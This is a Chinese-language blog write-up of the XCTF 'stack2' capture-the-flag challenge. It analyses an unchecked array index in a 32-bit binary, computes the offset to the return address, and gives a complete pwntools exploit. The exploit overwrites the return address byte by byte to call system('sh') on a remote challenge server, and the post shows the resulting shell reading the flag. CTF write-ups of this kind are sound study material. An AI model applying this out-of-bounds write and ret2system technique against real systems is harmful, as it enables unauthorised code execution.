xctf-challenge-stack2

1:checksec

[*] '/home/hunter/PWN/XCTF/xctf_challenge/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启NX与Canary

2:IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

关键段:

      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;

3:漏洞

整个代码比较长,但有用的就那么一两个。关键段代码实现更改数字的功能,v13数组大小是100,但在这里并没有看到限制了目标位置的输入大小,即:which number to change: 。而通过伪代码发现v13位于[ebp-70h]所以如果我第一次输入的数字比较大,就可以通过第二次输入来更改高地址栈空间。
那么接下来主要就是计算v13到返回地址的长度。

一开始我认为是这样的:

那么只要0x70+4 =116个padding就可以了但是怎么都没有成功跳转,我调试发现原来,这个程序的栈没有这么理想:

刚开始是这个样子,返回地址__libc_start_main+241已经在栈中了,可以理解为main函数也是被调用的(call)先压入返回地址再跳转执行函数

执行完main+7:

发现上面那个push指令又将这个返回地址压入栈中,那么哪一个才是真的返回地址?那肯定遵循调用函数(call)的说法:先将返回地址压入栈中,再跳转执行函数,所以一开始压入的才是函数真正的返回地址。
我们可以看到马上要执行push ebp,所以返回地址离ebp有16个字节的距离。这个从栈中可以看出,也可以从一个作恶多端的汇编指令中得出:发现了0x80485d4 <main+4>: and esp,0xfffffff0 这句话吗?
没错是用来平衡堆栈的,与运算。将esp最后一个16进制数归零。我们去看一下当时esp是多少:

可以看到是0xffffd02c 那么执行后就是0xffffd0c0 少了12个字节,所以栈中正确的样子是:

所以需要的padding是:0x70+8+16 = 132.(可以自己随便输入某个数字来验证是否改变了返回地址)

4:EXP

在v13[v5] = v7;这条指令中 v7是int型v13是char型只占用一个字节(在赋值过程会转型),很适合payload来以字节大小填充。也就是说我们执行这条指令是以一个字节一个字节形式进行数据覆盖(16进制的两个数字)。
通过IDA看到后门地址0x804859b 可以执行system(“/bin/bash”).因为每利用一次漏洞只能覆盖两个16进制数,所以要多次运行change numbers 选项。

from pwn import*
context.log_level = 'debug'
#sh =process('./stack2')
sh = remote('220.249.52.133',32607)
#0804859B 后门
#0x8048450 system
#0x08048987 : sh
#addr = [0x9b,0x85,0x04,0x08]               #原本我可以直接用后门地址,填充四次就可以了.这个本地没问题,但在打开端口后因为环境中只有sh这个指令所以会失败
addr = [0x50,0x84,0x04,0x08,0x8b,0x85,0x04,0x08,0x87,0x89,0x04,0x08]  #这个是来应对环境中只有sh命令,用gdb找到system函数地址,ROPgadgate找到sh字符串地址
                                                                        #在栈上构造了一个system("/sh")
sh.sendline('1')
sh.recv()
sh.sendline('1')
sh.recv()
flag = 132                     #通过计算从132开始覆盖(记得小端序)由于addr的变动覆盖12次
for i in range(12):

    sh.sendline('3')
    sh.recv()
    sh.sendline(str(flag))  #pwntools发送的都是str类型
    sh.recv()
    flag += 1
    sh.sendline(str(addr[i]))
    sh.recv()


#gdb.attach(sh)
sh.sendline('5')

sh.interactive()

这个虽然开了banary但是和他感觉没啥关系

[*] Switching to interactive mode
[DEBUG] Received 0x46 bytes:
    '1. show numbers\n'
    '2. add number\n'
    '3. change number\n'
    '4. get average\n'
    '5. exit\n'
1. show numbers
2. add number
3. change number
4. get average
5. exit
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'stack2\n'
bin
dev
flag
lib
lib32
lib64
stack2
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{b39d4c717df76e74117613fc8e3a89d5}\n'
cyberpeace{b39d4c717df76e74117613fc8e3a89d5}
$  

  转载请注明: Squarer xctf-challenge-stack2

 上一篇
xctf-challege-forgot xctf-challege-forgot
1:checksechunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec forgot [*] '/home/hunter/PWN/XCTF/xctf_challenge/forgot'
2020-07-16
下一篇 
PIE绕过 PIE绕过
1:ASLR简单介绍ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。可以理解为libc、栈、堆
2020-07-14
  目录